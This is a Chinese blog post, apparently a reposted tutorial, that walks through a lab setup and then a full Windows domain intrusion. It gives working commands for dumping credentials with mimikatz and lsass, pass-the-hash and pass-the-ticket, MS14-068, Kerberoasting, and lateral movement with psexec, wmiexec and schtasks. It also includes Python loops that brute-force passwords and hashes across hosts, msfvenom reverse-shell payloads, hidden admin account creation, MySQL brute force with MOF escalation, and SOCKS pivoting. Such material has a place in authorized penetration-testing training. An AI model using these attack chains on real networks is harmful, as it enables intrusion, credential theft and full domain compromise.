4

内网渗透篇

 2 years ago
source link: https://sakurahack-y.github.io/2022/03/18/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E7%AF%87/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
内网渗透篇 | sakura

[TOC]

实验环境:

win2008 域控 本地管理员密码:0801.com 域密码:yk2008.com ip:192.168.137.2

win 2008 域成员 本地管理员密码:0802.com 域密码:yc2008.com ip:192.168.137.66

win 2003 域成员 本地管理员密码:0301.com 域密码: yc2003.com ip:192.168.137.99

配置域控2008

使用vm1网卡

找到服务器管理器

一直下一步,然后安装

运行dcpromo程序:

一直下一步,到这里新建域

命名林根域

选择2008 R2

一直下一步/默认是,到这一步设置密码为:yk2008.com

一直下一步

完成了域控的配置,并重启

重启后,有域的标识出现,我们使用前文设置的域控密码登录

打开域管理中心

打开用户和计算机,新建组织hack

在这个组分别建立server2003用户和server2008用户,设置域密码分别为 yc2003.com和yc2008.com

到这里域控的配置就完成了,接下来就让域成员加入域

进入windows2003

更改计算机名加入域

windows2008同理

输入加入域的计算机名

我们在域控中就能看到两台计算机上线

域环境就搭建好了

基本信息收集:

了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备

systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务

网络信息收集:

了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备

ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址

用户信息收集:

了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试

Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group "Domain Admins" /domain 查询域管理员账户
net group "Enterprise Admins" /domain 查询管理员用户组
net group "Domain Controllers" /domain 查询域控制器

凭据信息收集操作:

收集各种密文,明文,口令等,为后续横向渗透做好测试准备

计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
Netsh WLAN show profiles
Netsh WLAN show profile name="无线名称" key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等

探针主机域控架构服务:

为后续横向思路做准备,针对应用,协议等各类攻击手法

探针域控制器名及地址信息
net time /domain nslookup ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" 自带内部命令
nmap masscan 第三方 PowerShell 脚本 nishang empire 等
#导入模块 nishang
Import-Module .\nishang.psm1
#设置执行策略
Set-ExecutionPolicy RemoteSigned
#获取模块 nishang 的命令函数
Get-Command -Module nishang
#获取常规计算机信息
Get-Information
#端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort
#其他功能:删除补丁,反弹 Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器(自建 SVN、GIT)
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器(内部技术文档服务器、其他监控服务器等)

域横向必备知识点

知识点1:
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码

针对以上情况,我们提供了4种方式解决此类问题
1.利用哈希 hash 传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启Wdigest Auth值进行获取
4.利用工具或第三方平台(Hachcat)进行破解获取
#注册表操作开启Wdigest Auth值
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

知识点2:
Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。

#获取win密码hash的两个工具
Pwdump7
QuarksPwdump

知识点3:
域用户与本地用户的区别
比如,god/administrator是域用户,./administrator是本地用户

at&&schtasks(密码是明文)

优点:官方自带命令,不会被杀

缺点:命令比较繁琐,且只支持明文密码

在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令

获取到某域主机权限–>minikatz 得到密码(明文,hash)–>用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典–>尝试连接–>创建计划任务(at|schtasks)–>执行文件可为后门或者相关命令

利用流程:

  1. 建立 IPC 链接到目标主机 (目标主机要开启135,445)
  2. 拷贝要执行的命令脚本到目标主机
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除 IPC 链接
net use \\server\ipc$"password" /user:username # 工作组 
net use \\server\ipc$"password" /user:domain\username #域内 
dir \\xx.xx.xx.xx\C$\ # 查看文件列表 
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件 
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件 
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 
IPC net view xx.xx.xx.xx # 查看对方共享 
#建立 IPC 常见的错误代码 
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限 
(2)51:网络问题,Windows 无法找到网络路径 
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题 
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$ 
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除 
(6)1326:账号密码错误 
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况 
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码 
#建立 IPC 失败的原因 
(1)目标系统不是 NT 或以上的操作系统 
(2)对方没有打开 IPC$共享 
(3)对方未开启 139、445 端口,或者被防火墙屏蔽 
(4)输出命令、账号密码有错误
[at] & [schtasks]
#at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
#schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务
对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务

atexec-impacket 明文和HASH 传递攻击

impacket的exe版本:https://github.com/maaaaz/impacket-examples-windows

优点:命令简单,易上手

缺点:非官方自带,可能被杀

atexec.exe ./administrator:[email protected] "whoami"
atexec.exe god/administrator:[email protected] "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./[email protected] "whoami"

明文 HASH 传递批量利用

收集活跃ip,放在ip.txt中

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文回显版

收集可能的密码和hash放在文件中

FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%[email protected] whoami #批量检测明文对应 IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./[email protected] whoami #批量检测 HASH 对应 IP 回显版

明文HASH传递批量利用-升级版

利用py脚本制作的exe文件批量尝试横向渗透

Fuck.py

import os
import time

ips={
    '192.168.3.30',
    '192.168.3.25',
    '192.168.3.32',
    '192.168.3.29'
}

users={
    'admin',
    'user',
    'Administrator',
    'webadmin',
    'boss'

}

passwds={
    '123456',
    'passwd',
    'admin123'
    'admin666'

}

for ip in ips:
    for user in users:
        for passwd in passwds:
            exec = "net use \\"+ "\\" + ip +'ipc$ '+passwd+' /user:god\\' + user
            print('---->'+exec+'<----')
            os.system(exec)
            time.sleep(1)

将python脚本编译成exe文件

安装pyinstaller

pip install pyinstaller

生成可执行EXE

Pyinstaller -F [.py文件]

会生成一个同名的exe文件

Procdump+Mimikatz 配合获取hash密码

这种情况适用于mimikatz被杀,但是自己做免杀失败/或不想做免杀可以来与Procdump配合使用,因为Procdump是官方自带的,所以不会被杀

# procdump 在目标机上执行
procdump -accepteula -ma lsass.exe lsass.dmp
# mimikatz 在本地执行:
privilege::debuge
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

然后可以利用 Hashcat 破解获取 Windows NTML Hash

SMB 服务利用-psexec(官方自带+第三方),smbexec(只有第三方)

psexec

PsTools - Windows Sysinternals | Microsoft Docs

利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。

#psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
exit #退出
#psexec 第二种:不用建立 IPC 直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd

但是当我们使用hash传递时

psexec -hashes :$HASH$ ./[email protected]
psexec -hashes :$HASH$ domain/[email protected]
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] 官方 Pstools 无法采用 hash 连接
#非官方自带-参考 impacket 工具包使用,操作简单,容易被杀

就会出现问题,这是因为官方 Pstools 无法采用 hash 连接,所以我们可以使用 impacket 工具包

缺点:非官方,会被杀毒软件杀掉,所以要做免杀

smbexec

无需先 ipc 链接 明文或 hash 传递

smbexec god/administrator:[email protected]
smbexec ./administrator:admin!@#[email protected]
smbexec -hashes :$HASH$ ./[email protected]
smbbexec -hashes :$HASH$ domain/[email protected]
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected]
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected]

WMI 服务利用-wmic,cscript,wmiexec

WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

自带 WMIC 明文传递 无回显 所以写入文件夹后还要自己想办法读取

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"    

自带 cscript 明文传递 有回显

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
#escript不需要下载,自带。但是需要用到第三方 wmiexec.vbs,但是wmiexec.vbs免杀非常简单

套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本

wmiexec ./administrator:admin!@#[email protected] "whoami"
wmiexec god/administrator:[email protected] "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./[email protected] "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/[email protected] "whoami"

缺点:容易被杀

同理可以借用编程解放双手

hash 批量利用-python 编译 exe

#pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)

PTH&PTK&PTT哈希票据传递

Kerberos 协议在域中具体工作方法:

**1、客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用 krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检 测,成功之后创建 TGT(Ticket-Granting Ticket) **

**2、将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读 取 kerberos 中 TGT 数据 **

**3、 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服 务)票证,并且对 TGT 进行检测 **

4、 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将 加密后的结果返回给客户机。

PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试 
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试 
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试

PTH

PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击。

总结:KB2871997 补丁后的影响

pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接

ptk:打了补丁才能用户都可以连接,采用 aes256 连接

参考链接: https://www.freebuf.com/column/220740.html

PTT

PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的。

三种 常见的攻击方法:MS14-068,Golden ticket,SILVER ticket。

MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限,微软给出的补丁是 kb3011780。

Golden ticket(黄金票据),SILVER ticket(白银票据),属于权限维持技术 ,简单来说就是将连接合法的票据注入到 内存中实现连接。

案例:

1.PTH传递-mimikatz

如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可 以攻击成功。

privilege::debug
sekurlsa::logonPasswords

假设我们找到了域控的hash密码

# PTH ntlm 传递
# 未打补丁下的工作组及域连接:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7  #连接域用户
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c #连接本地用户
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
\\OWA2010CN-God.god.org

就会弹出一个cmd窗口

2.PTK传递-mimikatz

这个必须打了补丁才能连接,不然连不上去

PTK aes256 传递
打补丁后的工作组及域连接:
sekurlsa::ekeys #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

3.域横向移动 PTT 传递-ms14068&kekeo&本地

第一种利用漏洞:能实现普通用户直接获取域控 system 权限

此处mimikatz无需提升权限,因为不涉及高权限操作,一个普通用户就可以

#MS14-068 powershell 执行
1.查看当前 sid whoami/user
2.mimikatz # kerberos::purge
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u [email protected] -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
4.票据注入内存
mimikatz.exe "kerberos::ptc [email protected]" exit
5.查看凭证列表 klist
6.利用
dir \\192.168.3.21\c$  #如果ip无法识别,改成计算机名字

第二种利用工具 kekeo

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt [email protected][email protected]
3.查看凭证 klist
4.利用 net use 载入
dir \\192.168.3.21\c$

第三种利用mimikatz导出本地票据(需要管理权限)

域控连接后10h内有效

privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi

总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据

RDP与SPN

RDP

RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断

RDP明文密码链接
1.windows: mstsc
2.mstsc.exe /console /v:192.168.3.21 /admin
3.linux: rdesktop 192.168.3.21:3389

RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,
同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;

开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

开启后运行:
1.mstsc.exe /restrictedadmin
2.mimikatz.exe
3.privilege::debug
4.sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"

域横向移动SPN服务-探针,请求,导出,破解,重写

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

setspn -q */*
setspn -q */* | findstr "MSSQL"

2、请求票据

klist purge //删除缓存票据
klist    //查看票据

# 请求票据 
# powershell请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"

# 或者mimikatz请求
mimikatz.exe "kerberos::ask /target:xxxx"

3、导出票据(到mimikatz运行目录)

# mimikatz
mimikatz.exe "kerberos::list /export"

4、破解票据

# 破解工具tgsrepcrack.py python3环境运行(将票据拖到本地破解)
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi

5、重写票据(属于后续攻击,不一定会成功,-u500指的是管理员用户,-g512指的是管理员组)

python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi # 将生成的票据注入内存
dir //xxx.xxx.xxx.xxx/c$

ssh隧道

通常,我们用于调试的计算机无法远程访问位于局域网中的待调试设备。通过 ssh 的端口转发(又称 ssh 隧道)技术,可以实现这种远程调试功能。ssh 客户端运行于本地机器,它的作用是:登录到目标机器并在目标机器上执行命令。它可以建立一个安全通道,为不安全网络上两个不受信任的主机提供安全的加密通信。X11 连接、任意 TCP 端口和 UNIX 域套接字也可以通过 ssh 安全通道进行转发。ssh 连接并登录到指定的主机名(用户名可选)。如果指定了命令,命令将在远程主机上执行,而不是在本机 shell 里执行。

ssh 端口转发相关的常用选项如下:


-C

请求压缩所有数据(包括 stdin、stdout、stderr 和用于转发的 X11、TCP 和 UNIX 域连接的数据)。压缩算法与 gzip 使用的算法相同,压缩级别由 ssh 协议版本 1 的 CompressionLevel 选项控制。在调制解调器线路和其他慢速连接上采用压缩是可取的,但它会减慢快速网络上的速度。


-f

请求 ssh 在执行命令之前转到后台。如果用户希望 ssh 在后台运行,但 ssh 需要用户提供密码或口令,使用 -f 选项就很有用,在用户输入密码之后,ssh 就会转入后台运行。这个选项隐含了 -n 选项的功能(-n 选项将 stdin 重定向到 /dev/null,从而避免后台进程读 stdin)。在远程站点上启动 X11 程序的推荐方法是使用 “ssh -f host xterm” 。

如果 ExitOnForwardFailure 配置选项设置的是 “yes”,则使用 -f 选项启动的 ssh 客户端会等所有的远程端口转发建立成功后才将自己转到后台运行。


-n

将 stdin 重定向到 /dev/null (实际上是为了防止后台进程从stdin读取数据)。当 ssh 在后台运行时必须使用此选项。

一个常见的技巧是使用它在目标机器上运行 X11 程序。例如,ssh -n shadow.cs.hut.fi emacs & 将在 shadows.cs.hut.fi 上启动 emacs 程序。X11 的连接将通过加密通道自动转发。ssh 程序将在后台运行。(如果 ssh 需要请求密码或口令,则此操作无效;参见-f选项。)


-N

不执行远程命令。此选项用于只需要端口转发功能时。


-g

允许远程主机连接到本地转发端口。如果用于多路复用连接,则必须在主进程上指定此选项。


-t

强制分配一个伪终端。在目标机上执行任意的基于屏幕的程序时(例如,实现菜单服务),分配伪终端很有用。使用多个 -t 选项则会强制分配终端,即使 ssh 没有本地终端。


-T

禁止分配伪终端。


-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket

数据从本机转发到远程。本机上指定 TCP 端口或 UNIX 套接字的连接将被转发到目标机上指定端口或套接字。

上述参数中,bind_address 指本地地址;port 指本地端口;local_socket 指本地 UNIX 套接字;host 指远程主机地址;hostport 指远程端口;remote_socket 指远程 UNIX 套接字。

ssh 端口转发模式

ssh 的端口转发有三种模式:

  • 本地:ssh -C -f -N -g -L local_listen_port:remote_host:remote_port agent_user@agent_host

    将本地机监听端口 local_listen_port 上的数据转发到远程端口 remote_host:remote_port

  • 远程:ssh -C -f -N -g -R agent_listen_port:local_host:local_port agent_user@agent_host

    将代理机监听端口 agent_listen_port 上的数据转发到本地端口 local_host:local_port

  • 动态:ssh -C -f -N -g -D listen_port agent_user@agent_host

正向连接

WEB服务器执行

ssh -CNfL 0.0.0.0:7777:10.10.10.128:80 [email protected]

反向连接

在攻击机上启动ssh

/etc/init.d/ssh start

在web服务器上执行

ssh -qTfnN -R port:host:hostport remote_ip
ssh -qTfnN -R 2222:127.0.0.1:22 [email protected]  # 将本地的22端口转发到192.168.0.115 的2222端口

攻击机上再执行

ssh -p 2222 [email protected]

Socket代理

SSH -qTfnN -D port remotehots

端口转发与端口映射

生成metaploit后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.196 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.196
set lport 12345
exploit

当运行后门,得到反弹shell后

映射端口:

portfwd add -L 192.168.0.115 -l 2020 -p 80 -r 10.10.10.128

此时我们访问 本机的2020端口 即打开192.168.0.115:2020 实际上访问的是 10.10.10.128:80 的服务

端口转发

portfwd add -l 5555 -p 3389 -r 192.168.0.149 #将肉鸡的3389端口映射到本地的5555端口
rdesktop 127.0.0.1:5555

查看列表

portfwd list

清空列表

portfwd flush

socket隧道

​ 下载地址:

http://sourceforge.net/project/ssocks/

解压编译:

tar zxvf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make #编译后会创建一个src文件夹
cd src

kali机使用:

./rcsocks -l 1088 -p 1080 -vv

等待远程socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道

web服务器:

/rssocks -vv -s 192.168.10.115:1080

利用proxychains进行Socks5代理

编辑proxychains工具

vim /etc/proxychains.conf

注释掉socks4,加上socks5

#socks4 127.0.0.1 9050
socks5 127.0.0.1 1088

kail机使用代理访问:

proxychains firefox http://10.10.10.128

就会成功访问

使用nmap扫描

proxychains nmap -Pn -sT 10.10.10.128

跨路由扫描

生成metaploit后门,并监听

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

运行后门,得到反弹shell

getuid  查看当前用户
ifconfig  获取网卡信息
run get_local_subnets 获取路由信息
run autoroute -p 查看当前路由
run autoroute -s 10.10.10.0/24 增加路由 

使用socks4a模块

use auxiliary/server/socks4a

 SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。

set SRVPORT 1044
exploit

然后配置proxychains

vim /etc/proxychains.conf

proxychains.conf

socks4 192.168.0.115 1044

使用nmap扫描

proxychains nmap -sT Pn 10.10.10.128

也可以用浏览器访问

proxychains firefox http://10.10.10.128

无法进行爆破(如hydra)等一些操作

MSF-常见的内网测试渗透

生成metaploit后门,并监听

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

运行后门,得到2003服务器反弹shell

查看路由表

route
run autoroute -s 10.10.10.0/24

查看路由列表

run autoroute -p
run autoroute -d

提权命令:

sysinfo 查看系统信息
ps 查看进程
getuid 当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限

增加管理员

net user sakura$ 123456 /add & net localground administrators sakura$ /add

检测存活ip

run post/multi/gather/ping_sweep rhosts=10.10.10.0/24
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24

增加路由表

run autoroute -s 10.10.10.0/24
background
use auxiliary/server/socks4a
set SRVHOST 192.168.0.115 #端口默认是1080
exploit
vim /etc/proxychains.conf
socks4 192.168.0.115 1080
proxychains nmap -sT -Pn -P 445,22,80,3306 10.10.10.130-135 --open -oN 10.10.10.0.txt

445开放,尝试hash攻击

hash获取

meterpreter > hashdump
ues exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.131
set SMBUser Administrator
set SMBPass 44efcexxxxxxxxxxxxxxxxxxxxxxxx
exploit

使用mimikatz来获取更多密码

meterpreter > load mimikatz
meterpreter > msv  #获取hash密码
meterpreter > run getgui -e #开启3389端口
meterpreter > run getgui -u sakura -p 123456 #增加用户
root@kali:~# proxychains rdesktop -u Administrator -p 123456 10.10.10.131 #登录3389端口

MSF进行一次完整的域渗透流程

渗透前提:拿到了域客户机2008的shell

生成metaploit后门,并监听

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/sakura.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 12345
exploit

运行后门,得到2008服务器反弹shell

扫描内网的机器

run post/windows/gather/qrp_scanner rhosts=10.10.1.0/24
background
route add 10.10.1.3 255.255.255.0 1

使用扫描器

use scanner/portscan/tcp  #默认扫描1-10000端口
set rhost 10.10.1.3
exploit

通过扫描发现 10.10.1.3 的3306端口存在mysql服务

进行弱口令攻击

use auxiliary/scanner/mysql/mysql_login
set rhost 10.10.1.3
set username root
set pass_file /root/password.txt
exploit

成功爆破出弱口令

尝试使用mysql_mof提权,得到域客户机2003的session

use exploit/windows/mysql/mysql_mof
set password 123456
set rhost 10.10.1.3
set username root
set payload windows/metepreter/bind_tcp
exploit

现在拿到了2003的系统权限,就可以使用一些命令进行信息搜集

new view /domain:moonsec #查看当前域用户

得到目标机ip

ping SERVERS2003
net user /domain  #获取所有域的用户列表
net group /domain #获取域用户组信息
net group "domain admins" /domain #获取当前域管理员信息
net time /domain #查看域实际及域服务器名字

可以得到域控信息

WIN-7230786H6KU.moonsec.com 10.10.1.2 #这个就是域控

因为普通域用户 需要更改系统信息 都需要通过域管理员的操作 要输入账号密码

抓明文 mimikatz

meterpreter > load mimikatz
meterpreter > msv  #获取hash密码

尝试能否抓明文

meterpreter > kerberos #获取明文密码

现在想要获取session

use exploit/windows/smb/psexec
set rhost 10.10.1.2
set SMBDomain moonsec
set SMBUser administrator
set SMBPass xxx123456..
set payload windows/meterpreter/bind_tcp
exploit

得到域控shell,但是权限不够

get privs
getsystem

使用uac提权

use exploit/windows/local/ask
set sessions 3
exploit

获取hash密码

meterpreter > hashdump
#或者
meterpreter >  run post/windows/gather/hashdump

mimikatz抓明文密码

meterpreter > load mimikatz
meterpreter > msv  #获取hash密码
meterpreter > kerberos #获取明文密码
meterpreter > mimikatz_command -f samd::hashes #另一种方式获取hash值

权限维持:进程注入

meterpreter > migrate 2804

开启域控远程连接

meterpreter > run getgui -e

使用socks4a连接3389

run autoroute -s 10.10.1.0/24 255.255.255.0
use auxiliary/server/socks4a
set srvhost 10.10.1.2

配置pxoxychains.conf

vim /etc/proxychains.conf
....
socks4 192.168.0.115 1080

登录3389

root@kali:~ proxychains rdesktop 10.10.1.2 #登录3389端口
meterpreter > run getgui -u moonsec -p moonsec

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK